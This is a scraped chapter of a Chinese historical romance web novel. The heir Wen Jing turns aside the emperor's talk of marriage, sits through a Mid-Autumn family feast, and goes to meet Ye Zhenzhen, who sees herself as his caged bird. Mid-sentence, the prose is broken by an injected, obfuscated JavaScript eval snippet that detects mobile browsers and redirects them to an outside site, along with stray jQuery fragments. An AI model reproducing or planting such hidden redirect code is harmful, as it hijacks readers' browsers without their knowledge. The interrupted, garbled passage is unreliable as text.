闻景脑海里立即梳理了一遍京中身份地位与他相当的贵女,只不过几息,便想起晨间自己起身时,那人还兀自熟睡的神情,暗自滚了滚喉头。
“回皇上,臣尚无成家的打算,待臣有了心仪的女子,定会向皇上求一份赐婚圣旨。”
“哦?京中这么多未嫁的贵女,你都没有看上的?”
闻景摇头道,“我久在营中,是她们都怕我,瞧不上我这个莽夫。”
皇帝被闻景这话气得抖了抖胡子,“你哪里是莽夫了?明明是貌比潘安,文武皆通的好男儿!不过就是看上去冷峻了些,以后多多对她们笑笑就好了。”
闻景不由皱起眉,迟疑道:“臣看上去真的很冷漠疏远吗?”
“哈哈哈!”
皇帝被闻景这副毫无知觉的傻样逗笑,指着身侧收拾棋盘的老太监道,”你,你来说说,闻世子身上的气势,是不是让贵女们都不敢靠近?”
王总管陪了帝王十几年,如何不知他此时心情正好。
他当即躬身附和道,“咱们世子爷要家世有家世,要才能有才能,至于相貌也是不可多得的英俊男子,若是再温和些,多笑笑,也许早就当爹了!”
“说得好!”皇帝拊掌大笑道,“听见了吗?阿景,男子就算长得再俊,整日冷着脸也骗不到小姑娘。”
“臣,谢皇上指点!”
闻景神色有些不自然,只能先谢完恩。
“好了,今日是中秋,你出宫回府陪你母亲过节去吧,朕也要去见个人,就不留你用膳了。改日,你有了心仪的女子,就告诉朕,朕替你牵线,保证让你抱得美人归!”
已经得到了。
闻景起身跪在地上,恭敬道:“臣谢皇上隆恩!臣告退!”
“去吧。”
闻景踏出御书房时,外间的天空已经是霞光灿灿。
再过一两个时辰,天边已经有些泛青的云,就会被夜色彻底笼罩,也就到了与她约定的时候。
闻景下完最后一个台阶,便大步流星得朝宫门口的方向走去,直到骑上马,才觉得这落日也太慢了些。
回了郑国公府的闻景,先回溶月院换了身衣裳,才匆匆忙忙朝正院走去。
中秋佳节,自然是要一大家子团坐在一起赏月吃酒,谈笑风生。
待到月上柳梢时,郑国公府的下人们早早就挂上了宫里赐下来的数盏花灯。
如今的郑国公是闻景的爹,闻言敬。
郑国公府的主子不多,闻景没有亲叔伯。他的祖父祖母早已仙逝,再加上两个姑姑皆是远嫁,于是府里只有分家却不分府的两个庶叔婶娘,和他们膝下的子女。
今日是八月十五,除了已经出嫁的文雅,便都聚在郑国公府里的明月榭里,坐了满满一花厅。
酒过三巡,菜过五味,众人的兴致愈发高起来。
闻书敬端着酒杯,醉醺醺得朝闻言敬道:“还是景儿有出息,不仅文治武功了得,还深受皇上的恩宠,依我看啊,若是再有门极好的亲事,大哥你也真的可以放心了。咱们郑国公府,必定盛极不衰!”
“二哥!你喝太多了!”
闻克敬见上座的两人还未有什么不快的神色,却见对面笑而不语的大侄子脸色蓦然沉了下来。
他们这些旁支好好依附着这颗大树即可,至于闻景的婚事,是无论如何也不该他们开口的。
“是!我是喝得有点多!”
闻书敬通红着脸,打了两个酒嗝,随即附和道,“可是,我是真的高兴啊,大哥!”
“大哥,二哥喝醉了,不如我送他回院子去歇息吧?”一旁的闻克敬拉着闻书敬摇晃的身子,朝上座的闻言敬道。
“既然二弟醉了,那就劳烦三弟和二弟妹送二弟回去睡觉吧!”
闻言敬见庶弟醉得着实不浅,当即开口道。
听着闻言敬发了话,二房的人才同扶着闻书敬的闻克敬,出了水榭。三房的人自然也随着闻克敬离开。
闻景只专心摆弄着手里的空酒杯,眼神却时不时瞟向不远处的漏壶。
直到月上中天时,才起身向他爹娘告罪道,说要出府散散酒气。
舜华郡主不动声色得打量着闻景眉眼间的神色,见他托词要出门散散酒气时,便看了一眼早就候着她眼色的闻菲。
“哥哥!今日街上有灯会,也带我去逛逛呗!我要你给我买一盏最好看的走马灯!”
“街上人太多了,府里的走马灯还不够你玩的吗?”
闻菲却不怕闻景的冷脸,只拉着他的胳膊撒娇道,“我会乖乖带着丫头小厮,不会乱跑的!这不是还有大哥你吗?有你在,谁敢欺负我?”
随即又抢在闻景开口前,朝舜华郡主和郑国公闻言嘟撅嘴告状道:“爹,娘!哥哥不带我去逛灯会!”
“景儿,你今年好不容易在家里过节,就遂了菲儿的心愿,带她出门逛逛吧!”舜华郡主替闻菲求情道,“不会耽误你太久的。”
“大哥别看我,谁叫这个家里,只有菲儿不怕你,她不赖着你赖着谁?“闻璃也忍不住帮腔,“你不在府里的两年,都是我带着菲儿去看灯会的,今日怎么也该轮着你了。”
闻璃靠着自己苦读考了科举,如今是翰林院编修,娶了如今太医院院史梅家的小姐为妻,膝下也有了孩子。
而梅氏前几日又诊出了三个月的身孕。
闻景见他娘和闻璃都帮着闻菲求情,只有二弟妹梅氏暗中悄悄扯了扯闻璃的衣袖。
闻璃见状再添一把火道:“大哥难不成真的要拒绝菲儿?那我只有让内子也随我一同出府,带着菲儿去玩。”
闻景虽不想带闻菲一同去见叶珍珍,但听着闻璃的话,又转头见小妹正满脸哀求可怜的模样,只得皱着眉应下了。
“先说好了,街上人多,若是你贪玩走丢了,我可不会来找你的!”
“娘!你听哥哥说的话!”
舜华郡主却点头道,“你哥哥也是怕你上了街,贪玩过头。菲儿,你听你哥哥的话,把你哥哥跟紧了!”
“走吧,再不走,灯会就要散了。”
闻璃出言打趣道,随后则给一旁的梅氏倒了杯甜梨水,避开闻景的眼神。闻景拉下闻菲抓着自己衣袖的手,转身就朝外走去。
闻菲满是得意得朝在座的几人一笑,便提着裙角,追闻景去了。
“哥哥,等等我呀!你走得太快了!”
舜华郡主见他们还是如从前那般吵吵闹闹,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17010629|193891||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
倒也安下心来。
只是回头看见身侧闻言敬瞧她的神色,唇边的笑意慢慢逝去,就好像方才水榭远处放的烟火,一瞬间就失了神彩。
“不知景儿的婚事,皇上到底是如何打算的?”
闻言敬知道以闻景现下的身份地位,恐他们是他的父母,也做不得主。
舜华郡主见花厅里只剩自己一房的人,也不顾忌什么,垂眸道:“景儿在宴席前来见我说,皇帝让他选喜欢的女子为妻即可,他还可以为这桩婚事锦上添花,下赐婚圣旨。”
“那就是说,景儿可以随心自己的婚事?”闻言敬毫不意外道。
这些事他本就细细思量过,只是还需得再确认一番。
舜华郡主闻言,却摇头道:“君心难测,还是慢慢瞧着吧,不着急。”
“母亲,既然大哥如今权势在握,不如就相看些家世过得去的闺秀吧,”闻璃听着爹娘头疼起哥哥的婚事,也开口献策道,“一来,也不至于让那几位贵人忌惮,二来嘛,大哥身边还是有个贴心人才好。”
“你这话的道理我如何不知?”
舜华郡主想起闻景的婚事,简直头疼欲裂。
她什么时候能做这位世子爷的主?
如今,天天瞒着她往那所梨花巷的宅子跑,更不提,他从来都没有参加过她举办的各色宴席。
闻璃见母亲头疼的样子,只得安慰道:“缘分这种事急不得,或许哪日大哥想通了,自然就会带人回府见二老。”
“……但愿如此吧。”
闻言敬也觉得只能如闻璃所说,这事急不来。而舜华郡主只揉着发胀的额头,沉默不语。
叶珍珍带着人,按照与闻景的约定,走在京城里最热闹的朱雀街上,慢慢闲逛着。
雪青已经去借着给她买吃食的理由,窜进了人潮里。
她则带着三个丫头和十来位侍卫,一路赏着花灯,一路朝前走去。
待进了闻景在玉华楼定好的厢房时,才挥退众人,独站在窗边。
晚风挟着一丝凉爽,将她的宽袖无声翻飞。
额间的碎发也丝丝缕缕划过面庞。
遥望着遥不可及的圆月,脑海里却是昨年此时的场景。
去年此刻,她与父母哥哥皆在他们叶府里的花园里,赏月吃酒,好不快活热闹。
而今日,她却成为闻景手里的金丝雀。
只能在他的掌心里,任他揉搓。
眼里渐渐蓄起的热意,让叶珍珍眨了眨眼,瞬间眼前的圆月便模糊成了一团光晕。
抬手拭去眼角处的无色湿痕,却见眼下大街小巷里璀璨的灯火,映照着高悬的圆月,让她几乎一时间分不清楚此处究竟是临州,还是京城。
只是身后响起推门声和请安声,让她从这种荒诞的思绪里抽离出来。
这里,是京城。
“启禀世子爷,小姐已经在里面了。”
“去准备些茶水点心送上来,要热的。”
“属下遵命。”
闻景一推开门,并没有见到人。耐着性子朝里走了两步,才发现人就站在窗前,静得几乎要与这嘈杂的街道声融为一体。
而紧随其后的闻菲,却瞪大了眼眸。